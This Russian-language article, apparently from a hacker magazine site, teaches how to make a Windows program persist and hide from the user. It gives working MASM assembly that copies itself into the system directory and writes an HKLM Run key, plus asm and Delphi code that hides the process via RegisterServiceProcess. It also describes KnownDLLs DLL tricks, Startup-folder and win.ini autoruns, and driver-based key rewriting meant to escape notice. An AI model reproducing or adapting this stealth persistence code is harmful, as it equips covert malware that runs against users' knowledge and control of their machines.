Задача: интегрировать программу в m$ windows. Программа должна запускаться вместе с системой, перезапускаться при удалении процесса и быть скрыта при просмотре списка запущенных процессов. Все достаточно просто. Рассмотрим по пунктам:

1) Автозапуск.

1.1) Самый простой путь - записать в ключ HKLM/Software/Microsoft/Windows/Current Version/Run системного реестра параметр, со значением, являющимся командной строкой запуска нашей программы. На асме это выглядит так:

.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\advapi32.lib
; Процедура обработки сообщений
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
; Раздел констант и переменных
.DATA 
AutoKeyName db "Software\Microsoft\Windows\CurrentVersion\Run\",0
AutoRegValue db "program",0
AutoRegValue1 db "program.exe" ,0
AppName db "Program",0
ClassName db "DksClass",0
IconName db "TksIcon",0
funcKEY db "DksKeyProc",0
Flash db "\",0
.DATA?
hInstance dd ?
CommandLine dd ?
pKey dd ?
WinDir db 900 dup(?)
CommandStr1 db 1024 dup(?)
; Раздел кода
.CODE
start: 
; Если прога уже запущена - выход
invoke FindWindow,0,addr AppName
cmp eax,0
jnz quit 
; Объявляем пути к файлам проги
invoke GetSystemDirectory , addr WinDir, sizeof WinDir
invoke lstrcat, addr WinDir, addr Flash
invoke lstrcat, addr WinDir, addr AutoRegValue1
; Автозапуск пишем в реестр
invoke RegCreateKey, HKEY_LOCAL_MACHINE,addr AutoKeyName, addr pKey
.IF eax == 0
invoke RegSetValueEx, pKey, addr AutoRegValue, NULL, REG_SZ, addr AutoRegValue1, sizeof AutoRegValue1
.ENDIF
invoke RegCloseKey, pKey
; Копируем программу в
"[WinSystemDir]\program.exe"

invoke GetModuleFileName,NULL,addr CommandStr1,sizeof CommandStr1
invoke CopyFile,addr CommandStr1,addr WinDir,FALSE
; Инициализация
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine 
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
quit: invoke ExitProcess,eax
;---------------------------------------
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
; Локальные переменные
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
LOCAL Ver: OSVERSIONINFO
; Создаем окно программы
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,hInstance,addr IconName
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,
WS_OVERLAPPEDWINDOW,500,400,300, 50,NULL,NULL,hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
; Обработка сообщений
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp
;---------------------------------------
; Обработка сообщений
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
; Если окно создается
.IF uMsg == WM_CREATE
; Если выход из проги - пишем опять в реестр
.ELSEIF uMsg == WM_DESTROY
invoke RegCreateKey, HKEY_LOCAL_MACHINE,addr AutoKeyName, addr pKey
.IF eax == 0
invoke RegSetValueEx, pKey, addr AutoRegValue, NULL, REG_SZ, addr AutoRegValue1, sizeof AutoRegValue1
.ENDIF
invoke PostQuitMessage,NULL
xor eax,eax
ret
.ELSEIF
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
END start 

Программа пишет в реестр параметр автозапуска, переписывает себя в системный каталог оси и создает окно. При закрытии окна, параметр записывается еще раз. Работает на всех версиях винды, начиная с 9x. Чтобы скрыть окно, необходимо убрать строчки invoke ShowWindow, hwnd,SW_SHOWNORMAL и invoke UpdateWindow, hwnd. Этот
метод очень просто реализовать, но и просто отследить. Каждый юзер, считающий себя продвинутым, обязательно просматривает этот ключ в реестре. Плюс то, что на платформе NT, если пользователь не принадлежит к группе администраторов, то параметр записан не будет. Есть еще такой же ключ, но в ветви HKCU. Туда могут забыть посмотреть, но запускаться будет только у текущего юзера. Для Windows 9x/ME еще есть ключ RunServices, который запускает проги до загрузки сетевых сервисов. На NT его нет.

1.2) В "любимой" нами оси есть очень интересное свойство - она грузит системные DLL (библиотеки с функциями kernel32.dll, user32.dll, advapi32.dll и т.д.) в память при запуске системы. Вроде
бы для ускорения запуска из них функций. Список этих DLL находится в ключе реестра
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager\KnownDLLs. DLL имеет одну интересную особенность - она может не только содержать функции, но и выполнять кусок кода при инициализации и при выгрузке. Таким образом, можно написать
дополнительную dll, в которой будет запуск при инициализации нашей проги или запись параметра автостарта в реестр (см.выше). "Прицепив" dll к запускаемому файлу, записав при запуске этого файла ее в системный каталог винды и добавив параметр-имяDLL в реестр - можно добиться запуска нашей программы. В случае добавления параметра автостарта в dll, программа может удалять его при запуске. Даже не каждый программер знает об этом, не говоря уже о.... Обнаружить очень сложно. Работает на всех версиях винды. Может иметь дополнительные функции (см.ниже).

1.3) Записать в файл win.ini строчку Run=program.exe.

1.4) В меню Start-Program-Startup находятся все ярлыки и программы, запускаемые после авторизации пользователя в системе. Это специальный каталог на диске. Можно записать в этот каталог нашу программу. Пути к каталогу(ам) можно найти в реестре по поиску.

1.5) Написать vxd-драйвер для Win-9x/ME или сервис для NT, который будет записывать параметр автозапуска из первого пункта. Программа, при запуске, будет этот параметр удалять. Таким образом, юзер в реестре ничего подозрительного увидеть не успеет.

2) Скрытие.

2.1) В Win-9x/ME программу можно скрыть из списка по Alt+Ctrl+Del. Для этого используется функция RegisterServiceProcess. Находится она в модуле kernel32.dll. В NT ее нет, поэтому использовать ее надо так (на асме):

.DATA
kernel32 db "kernel32.dll",0
func db "RegisterServiceProcess",0

skip

.CODE
;Получаем адрес библиотеки
invoke GetModuleHandle, addr kernel32
or eax,eax
;если нет - выход
jz continue
;Получаем адрес функции
invoke GetProcAddress, eax, ADDR func
or eax, eax
;Если нет (NT) - выход
jz continue
;Передаем параметры и вызываем функцию
push 1
push 0
call eax
continue:

В таком виде будет работать и на NT (имеется в виду все версии NT-4, 2000 и т.д.). На языках высокого уровня чуть сложнее. Например, на Delphi это выглядит так:

type
 func = function (param1, param2: Integer): Integer; stdcall;
var
 _func : func;
 hLib : DWORD;
begin
  try
   hLib := LoadLibrary('kernel32.dll');
   if hLib>0 then begin
    @_func :=GetProcAddress(hLib, 'RegisterServiceProcess');
    _func(0,1);
   end;
   FreeLibrary(hLib);
  except
  end;
end;

2.2) В Win-NT/2000 из списка процессов программу можно скрыть, используя функцию HOOK_NtQuerySystemInformation. Статья на эту тему есть
на аншем сайте в архивах. Скажу только, что эта функция ставит Hook на вызов NtQuerySystemInformation из
ntdll.dll, отвечающей за получение списка процессов в WinNT. Таким образом, можно "пропускать" нужный процесс.

(Продолжение следует)

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии